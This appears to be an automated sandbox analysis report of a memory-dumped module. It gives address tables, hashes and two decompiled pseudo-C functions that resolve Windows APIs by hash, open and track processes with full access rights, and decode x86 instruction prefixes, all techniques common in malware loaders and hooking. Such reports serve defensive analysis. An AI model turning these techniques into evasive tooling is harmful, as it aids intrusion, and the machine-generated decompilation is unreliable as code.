0x6f3e1bbb
0x6f3e1bbc
0x6f3e1bbd
0x6f3e1bbe
0x6f3e1bbf
0x6f3e1bc2
0x6f3e1bc6
0x6f3e1bca
0x6f3e1bd1
0x6f3e1be3
0x6f3e1bf9
0x6f3e1c04
0x6f3e1c05
0x6f3e1c06
0x6f3e1c07
0x6f3e1c08
0x6f3e1c0b
0x6f3e1c0f
0x6f3e1c13
0x6f3e1c1a
0x6f3e1c2c
0x6f3e1c42
0x6f3e1c4d
0x6f3e1c4e
0x6f3e1c4f
0x6f3e1c50
0x6f3e1c51
0x6f3e1c54
0x6f3e1c58
0x6f3e1c5c
0x6f3e1c63
0x6f3e1c75
0x6f3e1c8b
0x6f3e1c96
0x6f3e1c97
0x6f3e1c98
0x6f3e1c99
0x6f3e1c9a
0x6f3e1c9d
0x6f3e1ca0
0x6f3e1ca1
0x6f3e1ca2
0x6f3e1ca9
0x6f3e1cac
0x6f3e1cb7
0x6f3e1cbe
0x6f3e1cc7
0x6f3e1ccf
0x6f3e1cd6
0x6f3e1cdf
0x6f3e1ce7
0x6f3e1cee
0x6f3e1cf7
0x6f3e1cff
0x6f3e1d04
0x6f3e1d0d
0x6f3e1d15
0x6f3e1d2a

Strings

$#,, xrefs: 6F3E1701

Memory Dump Source

Source File: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, Offset: 6F3E0000, based on PE: true

Associated: 00000002.00000002.470524369.000000006F3E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470634843.000000006F3FA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470649269.000000006F3FD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470660135.000000006F3FF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: $#,
API String ID: 0-2557146312
Opcode ID: cd9534a2ee76e5f9b51c6ded45e75b537bfc0811318d56a54096286348dae985
Instruction ID: 4a6deda754538399027e8b2267345a74f960b19a53c56e7184effb2b2a927f4a
Opcode Fuzzy Hash: cd9534a2ee76e5f9b51c6ded45e75b537bfc0811318d56a54096286348dae985
Instruction Fuzzy Hash: E03263724047159ACB05DF30D8519AFB7B0AFB2309F10871EB4D92A1E1FFB1EA8AD651

Uniqueness

Uniqueness Score: -1.00%

Function 6F3EA5A4, Relevance: 1.8, Strings: 1, Instructions: 537
COMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			E6F3EA5A4(signed int* __ecx, void* __eflags) {
				void* __esi;
				void* __ebp;
				void* _t182;
				signed int _t183;
				signed int* _t188;
				void* _t198;
				void* _t199;
				void* _t228;
				void* _t229;
				void* _t242;
				void* _t243;
				void* _t251;
				signed int* _t271;
				void* _t282;
				void* _t284;
				void* _t285;
				void* _t296;
				signed int* _t308;
				void* _t324;
				signed int _t398;
				signed int _t402;
				intOrPtr* _t403;
				intOrPtr* _t404;
				signed int _t406;
				signed int _t407;
				signed int _t409;
				signed int _t411;
				signed int _t412;
				void* _t413;
				signed int _t414;
				signed int _t415;
				signed int _t416;
				signed int _t419;
				void* _t420;
				signed int _t421;
				void* _t422;
				signed int _t424;
				signed int _t429;
				signed int _t433;
				signed int _t434;
				signed int _t437;
				intOrPtr* _t439;

				_t308 = __ecx;
				 *(_t439 + 0x78) = 0;
				 *_t439 = __ecx + 8;
				 *((intOrPtr*)(_t439 + 4)) = __ecx + 0x20;
				while(1) {
					_t392 =  *_t308;
					E6F3EB714(_t439 + 0x24, _t392, 0x7fffffff);
					if(E6F3EF56C(_t439 + 0x24) == 0) {
						goto L3;
					} else {
						_t308[0xc] = 0;
						E6F3EF6F0(_t439 + 0x24);
					}
					L63:
					_t398 = 0xffffffffffffffff;
					_t407 = 0xffffffffffffffff;
					L65:
					if((_t407 | _t398) != 0) {
						L68:
						return _t407;
					}
					if( *(_t439 + 0x78) != 0x20) {
						E6F3F218C(0x5dc, _t392, _t407);
						 *(_t439 + 0x78) =  *(_t439 + 0x78) + 1;
						continue;
					}
					_t398 = 0xffffffffffffffff;
					_t407 = 0xffffffffffffffff;
					goto L68;
					L3:
					__eflags = _t308[1];
					if(_t308[1] <= 0) {
						L21:
						__eflags =  *(_t439 + 0x20);
						if( *(_t439 + 0x20) <= 0) {
							L33:
							E6F3EF6F0(_t439 + 0x24);
							__eflags = _t308[0xc];
							if(_t308[0xc] == 0) {
								L46:
								 *((intOrPtr*)(_t439 + 8)) = 0;
								 *((intOrPtr*)(_t439 + 0xc)) = 0;
								E6F3EF620(_t439 + 0x14, 0);
								 *((intOrPtr*)(_t439 + 0x38)) = 0;
								 *(_t439 + 0x34) =  *_t308;
								E6F3EF620(_t439 + 0x40, 0);
								_t182 = 0x40;
								__eflags = _t308[7] - 0x40;
								_t183 =  <  ? _t308[7] : _t182;
								 *(_t439 + 0x74) = _t183;
								__eflags = _t183;
								if(_t183 <= 0) {
									L57:
									asm("movq xmm0, [0x6f3fb7a8]");
									asm("movq [esp+0x84], xmm0");
									_t406 = E6F3F2F8C(0xa5eabdf8, 0xd1a06a90);
									__eflags = _t406;
									if(_t406 == 0) {
										_t424 = 0;
										__eflags = 0;
										L61:
										__eflags = _t424 - 0x3f;
										if(_t424 <= 0x3f) {
											__eflags = _t424 << 2;
											_t308[0xc] =  *(E6F3EF558( *((intOrPtr*)(_t439 + 8)), _t424 << 2));
											_t188 = E6F3EF558( *((intOrPtr*)(_t439 + 4)), _t424 << 2);
											_t407 = _t308[0xc];
											asm("cdq");
											_t308[0xd] =  *_t188;
											_t398 = _t392;
											E6F3EB680(_t439 + 0x34);
											E6F3EB680(_t439 + 8);
											goto L65;
										}
										L62:
										E6F3EB680(_t439 + 0x34);
										E6F3EB680(_t439 + 8);
										goto L63;
									}
									_t392 = E6F3EF558(_t439 + 0x14, 0);
									_t198 =  *_t406( *((intOrPtr*)(_t439 + 0xc)), _t392, 1, 0, _t439 + 0x84);
									_t133 = _t198 - 0x80; // -128
									_t199 = _t133;
									__eflags = _t199 - 0x3f;
									_t424 =  <=  ? _t199 : _t198;
									__eflags = _t424 - 0x102;
									if(_t424 == 0x102) {
										goto L62;
									}
									goto L61;
								}
								_t437 = 0;
								__eflags = 0;
								while(1) {
									E6F3ECB48(_t439 + 0x4c);
									_t392 = 0;
									_t324 = _t439 + 0x4c;
									 *((char*)(_t324 + 4)) = 0;
									 *((intOrPtr*)(_t324 + 0x1c)) = 0;
									__eflags = E6F3EC33C(_t324);
									if(__eflags != 0) {
										break;
									}
									E6F3EF8C4(_t439 + 0x14, E6F3EF568(_t439 + 0x10) + 4);
									 *((intOrPtr*)(E6F3EF558(_t439 + 0x14, E6F3EF568(_t439 + 0x10) + 0xfffffffc))) =  *((intOrPtr*)(_t439 + 0x4c));
									 *((intOrPtr*)(_t439 + 0xc)) =  *((intOrPtr*)(_t439 + 0xc)) + 1;
									_t409 = E6F3F2F8C(0xa5eabdf8, 0xf3119fba);
									__eflags = _t409;
									if(_t409 == 0) {
										L51:
										_t392 =  *(_t439 + 0x68);
										__eflags = _t392;
										if(__eflags == 0) {
											break;
										}
										__eflags = _t392 - 0xffffffff;
										if(__eflags != 0) {
											E6F3EF8C4(_t439 + 0x40, E6F3EF568(_t439 + 0x3c) + 4);
											 *(E6F3EF558(_t439 + 0x40, E6F3EF568(_t439 + 0x3c) + 0xfffffffc)) =  *(_t439 + 0x68);
											 *((intOrPtr*)(_t439 + 0x4c - 0x14)) =  *((intOrPtr*)(_t439 + 0x4c - 0x14)) + 1;
											E6F3ECDE0(_t439 + 0x4c, __eflags);
											_t437 = _t437 + 1;
											__eflags = _t437 -  *(_t439 + 0x74);
											if(_t437 <  *(_t439 + 0x74)) {
												continue;
											}
											_t411 = 0;
											__eflags = 0;
											do {
												E6F3EF558( *((intOrPtr*)(_t439 + 8)), _t411 * 4);
												E6F3EF558(_t439 + 0x40, _t411 * 4);
												_t439 = _t439 + 0xffffffd8;
												asm("cdq");
												asm("pxor xmm5, xmm5");
												asm("movd xmm1, dword [ebp]");
												asm("movd xmm4, dword [edi]");
												asm("movd xmm0, edx");
												asm("cdq");
												asm("punpckldq xmm1, xmm0");
												asm("movq xmm2, [ebx+0x38]");
												asm("movq [esp], xmm1");
												asm("movd xmm3, edx");
												asm("punpckldq xmm4, xmm3");
												asm("movq [esp+0x8], xmm2");
												asm("movq [esp+0x10], xmm4");
												asm("movq [esp+0x18], xmm5");
												asm("movq [esp+0x20], xmm5");
												E6F3EAD04(__eflags);
												_t411 = _t411 + 1;
												__eflags = _t411 -  *(_t439 + 0x74);
											} while (_t411 <  *(_t439 + 0x74));
											goto L57;
										}
										break;
									}
									_t392 = _t439 + 0x68;
									 *_t409(0xffffffff,  *((intOrPtr*)(_t439 + 0x60)),  *_t308, _t439 + 0x68, 0, 0, 2);
									__eflags = 0;
									if(0 != 0) {
										break;
									}
									goto L51;
								}
								E6F3ECDE0(_t439 + 0x4c, __eflags);
								goto L62;
							}
							_t402 = _t308[1];
							__eflags = _t402;
							if(_t402 <= 0) {
								goto L46;
							}
							_t412 = 0;
							__eflags = 0;
							while(1) {
								_t429 = _t412 * 4;
								_t392 =  *(E6F3EF558( *((intOrPtr*)(_t439 + 4)), _t429));
								__eflags = _t392 - _t308[0xd];
								if(_t392 == _t308[0xd]) {
									break;
								}
								_t412 = _t412 + 1;
								__eflags = _t412 - _t402;
								if(_t412 < _t402) {
									continue;
								}
								goto L46;
							}
							__eflags = _t412 - 0xffffffff;
							if(_t412 != 0xffffffff) {
								_t228 = E6F3EF568( *((intOrPtr*)(_t439 + 4)));
								__eflags = _t228 - _t429;
								if(_t228 > _t429) {
									_t392 = 4 + _t412 * 4;
									 *(_t439 + 0x6c) = _t392;
									_t251 = E6F3EF568( *((intOrPtr*)(_t439 + 4)));
									__eflags = _t251 -  *(_t439 + 0x6c);
									if(_t251 >  *(_t439 + 0x6c)) {
										 *((intOrPtr*)(_t439 + 0x90)) = E6F3EF558( *((intOrPtr*)(_t439 + 8)), _t429);
										 *((intOrPtr*)(_t439 + 0x8c)) = E6F3EF558( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x6c));
										E6F3F382C( *((intOrPtr*)(_t439 + 0x98)),  *((intOrPtr*)(_t439 + 0x90)), E6F3EF568( *((intOrPtr*)(_t439 + 4))) -  *(_t439 + 0x6c));
										_t439 = _t439 + 0xc;
									}
									E6F3EF8C4( *((intOrPtr*)(_t439 + 8)), E6F3EF568( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc);
									_t74 =  &(_t308[7]);
									 *_t74 = _t308[7] - 1;
									__eflags =  *_t74;
								}
								_t229 = E6F3EF568( *_t439);
								__eflags = _t229 - _t429;
								if(_t229 > _t429) {
									_t413 = 4 + _t412 * 4;
									_t242 = E6F3EF568( *_t439);
									__eflags = _t242 - _t413;
									if(_t242 > _t413) {
										_t243 = E6F3EF558( *((intOrPtr*)(_t439 + 4)), _t429);
										 *((intOrPtr*)(_t439 + 0x94)) = E6F3EF558( *((intOrPtr*)(_t439 + 4)), _t413);
										E6F3F382C(_t243,  *((intOrPtr*)(_t439 + 0x98)), E6F3EF568( *_t439) - _t413);
										_t439 = _t439 + 0xc;
									}
									E6F3EF8C4( *((intOrPtr*)(_t439 + 4)), E6F3EF568( *_t439) + 0xfffffffc);
									_t79 =  &(_t308[1]);
									 *_t79 = _t308[1] - 1;
									__eflags =  *_t79;
								}
								E6F3EF8C4( *((intOrPtr*)(_t439 + 8)), E6F3EF568( *((intOrPtr*)(_t439 + 4))) + 4);
								 *(E6F3EF558( *((intOrPtr*)(_t439 + 8)), E6F3EF568( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc)) = _t308[0xc];
								_t308[7] = _t308[7] + 1;
								E6F3EF8C4( *((intOrPtr*)(_t439 + 4)), E6F3EF568( *_t439) + 4);
								 *(E6F3EF558( *((intOrPtr*)(_t439 + 4)), E6F3EF568( *_t439) + 0xfffffffc)) = _t308[0xd];
								_t308[1] = _t308[1] + 1;
							}
							goto L46;
						}
						_t433 = 0;
						__eflags = 0;
						do {
							 *(_t439 + 0x70) = _t433 * 4;
							_t403 = E6F3EF558(_t439 + 0x28, _t433 * 4);
							_t392 = _t308[1];
							 *(_t439 + 0x80) = _t392;
							__eflags = _t392;
							if(_t392 <= 0) {
								L29:
								_t414 = E6F3F2F8C(0x4bcc7cba, 0x997e6547);
								__eflags = _t414;
								if(_t414 != 0) {
									_t416 =  *_t414(0x1fffff, 0,  *((intOrPtr*)(E6F3EF558(_t439 + 0x28,  *(_t439 + 0x70)))));
									__eflags = _t416;
									if(_t416 != 0) {
										E6F3EF8C4( *((intOrPtr*)(_t439 + 8)), E6F3EF568( *((intOrPtr*)(_t439 + 4))) + 4);
										 *(E6F3EF558( *((intOrPtr*)(_t439 + 8)), E6F3EF568( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc)) = _t416;
										_t308[7] = _t308[7] + 1;
										_t271 = E6F3EF558(_t439 + 0x28,  *(_t439 + 0x70));
										E6F3EF8C4( *((intOrPtr*)(_t439 + 4)), E6F3EF568( *_t439) + 4);
										 *(E6F3EF558( *((intOrPtr*)(_t439 + 4)), E6F3EF568( *_t439) + 0xfffffffc)) =  *_t271;
										_t57 =  &(_t308[1]);
										 *_t57 = _t308[1] + 1;
										__eflags =  *_t57;
									}
								}
								goto L32;
							}
							_t415 = 0;
							__eflags = 0;
							while(1) {
								_t392 =  *(E6F3EF558( *((intOrPtr*)(_t439 + 4)), _t415 * 4));
								__eflags = _t392 -  *_t403;
								if(_t392 ==  *_t403) {
									break;
								}
								_t415 = _t415 + 1;
								__eflags = _t415 -  *(_t439 + 0x80);
								if(_t415 <  *(_t439 + 0x80)) {
									continue;
								}
								goto L29;
							}
							__eflags = _t415 - 0xffffffff;
							if(_t415 == 0xffffffff) {
								goto L29;
							}
							L32:
							_t433 = _t433 + 1;
							__eflags = _t433 -  *(_t439 + 0x20);
						} while (_t433 <  *(_t439 + 0x20));
						goto L33;
					} else {
						_t434 = 0;
						__eflags = 0;
						do {
							 *(_t439 + 0x64) = _t434 * 4;
							_t404 = E6F3EF558( *((intOrPtr*)(_t439 + 4)), _t434 * 4);
							_t392 =  *(_t439 + 0x20);
							 *(_t439 + 0x7c) = _t392;
							__eflags = _t392;
							if(_t392 <= 0) {
								L11:
								_t282 = E6F3EF568( *_t439);
								__eflags = _t282 -  *(_t439 + 0x64);
								if(_t282 >  *(_t439 + 0x64)) {
									_t420 = 4 + _t434 * 4;
									_t296 = E6F3EF568( *_t439);
									__eflags = _t296 - _t420;
									if(_t296 > _t420) {
										 *((intOrPtr*)(_t439 + 0x9c)) = E6F3EF558( *((intOrPtr*)(_t439 + 4)),  *(_t439 + 0x64));
										 *((intOrPtr*)(_t439 + 0x98)) = E6F3EF558( *((intOrPtr*)(_t439 + 4)), _t420);
										E6F3F382C( *((intOrPtr*)(_t439 + 0xa4)),  *((intOrPtr*)(_t439 + 0x9c)), E6F3EF568( *_t439) - _t420);
										_t439 = _t439 + 0xc;
									}
									E6F3EF8C4( *((intOrPtr*)(_t439 + 4)), E6F3EF568( *_t439) + 0xfffffffc);
									_t22 =  &(_t308[1]);
									 *_t22 = _t308[1] - 1;
									__eflags =  *_t22;
								}
								_t419 = E6F3F2F8C(0xa5eabdf8, 0x2c2324e8);
								__eflags = _t419;
								if(_t419 != 0) {
									 *_t419( *((intOrPtr*)(E6F3EF558( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x64)))));
								}
								_t284 = E6F3EF568( *((intOrPtr*)(_t439 + 4)));
								__eflags = _t284 -  *(_t439 + 0x64);
								if(_t284 >  *(_t439 + 0x64)) {
									_t422 = 4 + _t434 * 4;
									_t285 = E6F3EF568( *((intOrPtr*)(_t439 + 4)));
									__eflags = _t285 - _t422;
									if(_t285 > _t422) {
										 *((intOrPtr*)(_t439 + 0xa4)) = E6F3EF558( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x64));
										 *((intOrPtr*)(_t439 + 0xa0)) = E6F3EF558( *((intOrPtr*)(_t439 + 8)), _t422);
										E6F3F382C( *((intOrPtr*)(_t439 + 0xac)),  *((intOrPtr*)(_t439 + 0xa4)), E6F3EF568( *((intOrPtr*)(_t439 + 4))) - _t422);
										_t439 = _t439 + 0xc;
									}
									E6F3EF8C4( *((intOrPtr*)(_t439 + 8)), E6F3EF568( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc);
									_t33 =  &(_t308[7]);
									 *_t33 = _t308[7] - 1;
									__eflags =  *_t33;
								}
								_t434 = _t434 - 1;
								__eflags = _t434;
								goto L20;
							}
							_t421 = 0;
							__eflags = 0;
							while(1) {
								_t392 =  *(E6F3EF558(_t439 + 0x28, _t421 * 4));
								__eflags = _t392 -  *_t404;
								if(_t392 ==  *_t404) {
									break;
								}
								_t421 = _t421 + 1;
								__eflags = _t421 -  *(_t439 + 0x7c);
								if(_t421 <  *(_t439 + 0x7c)) {
									continue;
								}
								goto L11;
							}
							__eflags = _t421 - 0xffffffff;
							if(_t421 == 0xffffffff) {
								goto L11;
							}
							L20:
							_t434 = _t434 + 1;
							__eflags = _t434 - _t308[1];
						} while (_t434 < _t308[1]);
						goto L21;
					}
				}
			}

0x6f3ea5ae
0x6f3ea5b0
0x6f3ea5bb
0x6f3ea5c1
0x6f3ea5c5
0x6f3ea5ca
0x6f3ea5d0
0x6f3ea5e0
0x00000000
0x6f3ea5e2
0x6f3ea5e2
0x6f3ea5ed
0x6f3ea5ed
0x6f3eab6b
0x6f3eab6d
0x6f3eab6e
0x6f3eabad
0x6f3eabb1
0x6f3eabbf
0x6f3eabcd
0x6f3eabcd
0x6f3eabb8
0x6f3eabd3
0x6f3eabd8
0x00000000
0x6f3eabd8
0x6f3eabbc
0x6f3eabbd
0x00000000
0x6f3ea5f7
0x6f3ea5f7
0x6f3ea5fb
0x6f3ea702
0x6f3ea702
0x6f3ea707
0x6f3ea818
0x6f3ea81c
0x6f3ea821
0x6f3ea825
0x6f3ea94f
0x6f3ea951
0x6f3ea955
0x6f3ea95e
0x6f3ea967
0x6f3ea96b
0x6f3ea974
0x6f3ea97b
0x6f3ea97c
0x6f3ea980
0x6f3ea984
0x6f3ea988
0x6f3ea98a
0x6f3eaaf4
0x6f3eaaf4
0x6f3eaafc
0x6f3eab14
0x6f3eab16
0x6f3eab18
0x6f3eab52
0x6f3eab52
0x6f3eab54
0x6f3eab54
0x6f3eab57
0x6f3eab72
0x6f3eab86
0x6f3eab89
0x6f3eab8e
0x6f3eab99
0x6f3eab9a
0x6f3eab9d
0x6f3eab9f
0x6f3eaba8
0x00000000
0x6f3eaba8
0x6f3eab59
0x6f3eab5d
0x6f3eab66
0x00000000
0x6f3eab66
0x6f3eab29
0x6f3eab39
0x6f3eab3d
0x6f3eab3d
0x6f3eab40
0x6f3eab43
0x6f3eab46
0x6f3eab4c
0x00000000
0x00000000
0x00000000
0x6f3eab4e
0x6f3ea992
0x6f3ea992
0x6f3ea994
0x6f3ea998
0x6f3ea99d
0x6f3ea99f
0x6f3ea9a3
0x6f3ea9a6
0x6f3ea9ae
0x6f3ea9b0
0x00000000
0x00000000
0x6f3ea9c7
0x6f3ea9e2
0x6f3ea9e4
0x6f3ea9f7
0x6f3ea9f9
0x6f3ea9fb
0x6f3eaa16
0x6f3eaa16
0x6f3eaa1a
0x6f3eaa1c
0x00000000
0x00000000
0x6f3eaa1e
0x6f3eaa21
0x6f3eaa42
0x6f3eaa61
0x6f3eaa67
0x6f3eaa6a
0x6f3eaa6f
0x6f3eaa70
0x6f3eaa74
0x00000000
0x00000000
0x6f3eaa7c
0x6f3eaa7c
0x6f3eaa7e
0x6f3eaa8a
0x6f3eaa96
0x6f3eaaa0
0x6f3eaaa3
0x6f3eaaa6
0x6f3eaaaa
0x6f3eaab1
0x6f3eaab5
0x6f3eaab9
0x6f3eaaba
0x6f3eaabe
0x6f3eaac3
0x6f3eaac8
0x6f3eaacc
0x6f3eaad0
0x6f3eaad6
0x6f3eaadc
0x6f3eaae2
0x6f3eaae8
0x6f3eaaed
0x6f3eaaee
0x6f3eaaee
0x00000000
0x6f3eaa7e
0x00000000
0x6f3eaa21
0x6f3ea9ff
0x6f3eaa10
0x6f3eaa12
0x6f3eaa14
0x00000000
0x00000000
0x00000000
0x6f3eaa14
0x6f3eaa27
0x00000000
0x6f3eaa27
0x6f3ea82b
0x6f3ea82e
0x6f3ea830
0x00000000
0x00000000
0x6f3ea838
0x6f3ea838
0x6f3ea83a
0x6f3ea83a
0x6f3ea84b
0x6f3ea84d
0x6f3ea850
0x00000000
0x00000000
0x6f3ea946
0x6f3ea947
0x6f3ea949
0x00000000
0x00000000
0x00000000
0x6f3ea949
0x6f3ea856
0x6f3ea859
0x6f3ea863
0x6f3ea868
0x6f3ea86a
0x6f3ea870
0x6f3ea877
0x6f3ea87b
0x6f3ea880
0x6f3ea884
0x6f3eacbf
0x6f3eacd3
0x6f3eacf6
0x6f3eacfb
0x6f3eacfb
0x6f3ea89b
0x6f3ea8a0
0x6f3ea8a0
0x6f3ea8a0
0x6f3ea8a0
0x6f3ea8a6
0x6f3ea8ab
0x6f3ea8ad
0x6f3ea8b2
0x6f3ea8b9
0x6f3ea8be
0x6f3ea8c0
0x6f3eac7d
0x6f3eac8e
0x6f3eaca8
0x6f3eacad
0x6f3eacad
0x6f3ea8d6
0x6f3ea8db
0x6f3ea8db
0x6f3ea8db
0x6f3ea8db
0x6f3ea8ef
0x6f3ea90d
0x6f3ea912
0x6f3ea922
0x6f3ea93f
0x6f3ea941
0x6f3ea941
0x00000000
0x6f3ea859
0x6f3ea70f
0x6f3ea70f
0x6f3ea711
0x6f3ea718
0x6f3ea726
0x6f3ea728
0x6f3ea72b
0x6f3ea732
0x6f3ea734
0x6f3ea765
0x6f3ea774
0x6f3ea776
0x6f3ea778
0x6f3ea796
0x6f3ea798
0x6f3ea79a
0x6f3ea7ad
0x6f3ea7cc
0x6f3ea7d2
0x6f3ea7d5
0x6f3ea7ec
0x6f3ea808
0x6f3ea80a
0x6f3ea80a
0x6f3ea80a
0x6f3ea80a
0x6f3ea79a
0x00000000
0x6f3ea778
0x6f3ea738
0x6f3ea738
0x6f3ea73a
0x6f3ea74b
0x6f3ea74d
0x6f3ea74f
0x00000000
0x00000000
0x6f3ea75b
0x6f3ea75c
0x6f3ea763
0x00000000
0x00000000
0x00000000
0x6f3ea763
0x6f3ea751
0x6f3ea754
0x00000000
0x00000000
0x6f3ea80d
0x6f3ea80d
0x6f3ea80e
0x6f3ea80e
0x00000000
0x6f3ea601
0x6f3ea603
0x6f3ea603
0x6f3ea605
0x6f3ea60c
0x6f3ea61a
0x6f3ea61c
0x6f3ea620
0x6f3ea624
0x6f3ea626
0x6f3ea654
0x6f3ea657
0x6f3ea65c
0x6f3ea660
0x6f3ea665
0x6f3ea66c
0x6f3ea671
0x6f3ea673
0x6f3eac3a
0x6f3eac4b
0x6f3eac6b
0x6f3eac70
0x6f3eac70
0x6f3ea689
0x6f3ea68e
0x6f3ea68e
0x6f3ea68e
0x6f3ea68e
0x6f3ea6a0
0x6f3ea6a2
0x6f3ea6a4
0x6f3ea6b5
0x6f3ea6b5
0x6f3ea6bb
0x6f3ea6c0
0x6f3ea6c4
0x6f3ea6ca
0x6f3ea6d1
0x6f3ea6d6
0x6f3ea6d8
0x6f3eabee
0x6f3eabff
0x6f3eac20
0x6f3eac25
0x6f3eac25
0x6f3ea6ef
0x6f3ea6f4
0x6f3ea6f4
0x6f3ea6f4
0x6f3ea6f4
0x6f3ea6f7
0x6f3ea6f7
0x00000000
0x6f3ea6f7
0x6f3ea62a
0x6f3ea62a
0x6f3ea62c
0x6f3ea63d
0x6f3ea63f
0x6f3ea641
0x00000000
0x00000000
0x6f3ea64d
0x6f3ea64e
0x6f3ea652
0x00000000
0x00000000
0x00000000
0x6f3ea652
0x6f3ea643
0x6f3ea646
0x00000000
0x00000000
0x6f3ea6f8
0x6f3ea6f8
0x6f3ea6f9
0x6f3ea6f9
0x00000000
0x6f3ea605
0x6f3ea5fb

Strings

, xrefs: 6F3EABB3

Memory Dump Source

Source File: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, Offset: 6F3E0000, based on PE: true

Associated: 00000002.00000002.470524369.000000006F3E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470634843.000000006F3FA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470649269.000000006F3FD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470660135.000000006F3FF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 8a32d458a74e171e2a9f9d10c6254ec16b4c822bb308044c8b1b13d7f0f7508e
Instruction ID: ad4de5af68dc9971a082a0fbdc336a11464cc302a0525dcbb2a53c3d419fd090
Opcode Fuzzy Hash: 8a32d458a74e171e2a9f9d10c6254ec16b4c822bb308044c8b1b13d7f0f7508e
Instruction Fuzzy Hash: 3C125A715083259FCB14DF34D980A6EB7F5AFA5714F008A2AE8E9972E0DB70ED05CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6F3F92DC, Relevance: 1.8, Strings: 1, Instructions: 529
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E6F3F92DC(intOrPtr __ecx, intOrPtr __edx, void* __eflags) {
				signed int _t250;
				signed char _t251;
				signed char* _t254;
				char _t255;
				signed short _t256;
				char _t257;
				signed short _t260;
				signed int _t261;
				signed int _t262;
				void* _t264;
				void* _t272;
				void* _t273;
				signed short* _t274;
				signed char _t275;
				signed int _t277;
				signed int _t278;
				void* _t282;
				signed int _t288;
				unsigned int _t290;
				signed int _t292;
				signed int _t293;
				signed int _t294;
				signed int _t295;
				unsigned int _t296;
				unsigned int _t297;
				signed int _t299;
				unsigned int _t301;
				signed char _t302;
				signed int _t304;
				signed char _t307;
				signed char _t308;
				signed int _t309;
				void* _t312;
				void* _t313;
				signed int _t314;
				signed int _t316;
				signed int _t319;
				signed int _t321;
				signed int _t338;
				signed int _t339;
				signed int _t343;
				signed int _t345;
				unsigned int* _t346;
				unsigned int _t354;
				signed int _t355;
				void* _t357;
				signed int _t364;
				signed int _t366;
				signed int _t383;
				signed int _t388;
				signed int _t391;
				signed int _t395;
				signed int _t396;
				signed int _t397;
				signed int _t398;
				signed int _t399;
				signed int _t400;
				signed int _t403;
				signed int _t408;
				signed int _t411;
				signed int _t412;
				signed int _t413;
				signed int _t417;
				signed int _t419;
				signed int _t424;
				void* _t426;
				signed int* _t427;

				 *((intOrPtr*)(_t426 + 0x24)) = __edx;
				 *((intOrPtr*)(_t426 + 0x10)) = __ecx;
				 *((intOrPtr*)(_t426 + 0x14)) = __ecx;
				_t274 =  *(_t426 + 0x48);
				E6F3F35D4( *(_t426 + 0x48), 0, 0x1c);
				_t427 = _t426 + 0xc;
				_t338 = 0;
				_t282 = 0x10;
				do {
					_t250 =  *_t274 & 0x000000ff;
					_t274 =  &(_t274[0]);
					if(_t250 == 0xf3) {
						_t383 = _t427[0x10];
						_t339 = _t338 | 0x00000004;
						L17:
						_t338 = _t339 & 0x000000ff;
						 *(_t383 + 1) = _t250;
						goto L18;
					}
					if(_t250 == 0xf2) {
						_t383 = _t427[0x10];
						_t339 = _t338 | 0x00000002;
						goto L17;
					}
					if(_t250 == 0xf0) {
						_t338 = (_t338 | 0x00000020) & 0x000000ff;
						 *(_t427[0x10] + 2) = _t250;
						goto L18;
					}
					if(_t250 == 0x26 || _t250 == 0x2e || _t250 == 0x36 || _t250 == 0x3e) {
						L13:
						_t338 = (_t338 | 0x00000040) & 0x000000ff;
						 *(_t427[0x10] + 3) = _t250;
					} else {
						_t6 = _t250 - 0x64; // -100
						if(_t6 <= 1) {
							goto L13;
						}
						if(_t250 == 0x66) {
							_t338 = (_t338 | 0x00000008) & 0x000000ff;
							 *(_t427[0x10] + 4) = _t250;
							goto L18;
						}
						if(_t250 != 0x67) {
							break;
						} else {
							_t338 = _t338 | 0x00000010;
							 *(_t427[0x10] + 5) = _t250;
							goto L18;
						}
					}
					L18:
					_t282 = _t282 + 0xff;
				} while (_t282 != 0);
				_t388 = _t427[0x10];
				_t285 =  !=  ? _t338 : 1;
				_t343 = _t338 << 0x17;
				 *(_t388 + 6) = _t250;
				 *_t427 =  !=  ? _t338 : 1;
				 *(_t388 + 0x18) = _t343;
				if(_t250 == 0xf) {
					_t250 =  *_t274 & 0x000000ff;
					_t274 =  &(_t274[0]);
					_t427[5] = _t250;
					 *(_t427[0x10] + 7) = _t250;
					_t427[2] = _t427[4] + 0x4a;
				} else {
					_t22 = _t250 - 0xa0; // -160
					_t427[5] =  *(_t427[0x10] + 7) & 0x000000ff;
					if(_t22 <= 3) {
						_t424 =  *_t427;
						_t382 =  !=  ? (_t424 | 0x00000008) & 0x000000ff : _t424 & 0x000000f7;
						 *_t427 =  !=  ? (_t424 | 0x00000008) & 0x000000ff : _t424 & 0x000000f7;
					}
				}
				_t354 = _t250 >> 2;
				_t391 = _t250 & 0x00000003;
				_t345 = _t427[2];
				_t427[3] = _t391;
				_t427[6] = _t354;
				_t288 =  *(( *(_t354 + _t345) & 0x000000ff) + _t391 + _t345) & 0x000000ff;
				_t427[1] = _t288;
				if(_t288 == 0xff) {
					_t343 = _t343 + 0x3000;
					_t288 = 0 | (_t250 & 0xfffffffd) == 0x00000024;
					 *(_t427[0x10] + 0x18) = _t343;
					_t427[1] = _t288;
				}
				if((_t427[1] & 0x00000080) != 0) {
					_t290 =  *((_t288 & 0x0000007f) + _t345) & 0x0000ffff;
					_t427[1] = _t290;
					_t395 = _t290 >> 8;
				} else {
					_t395 = 0;
				}
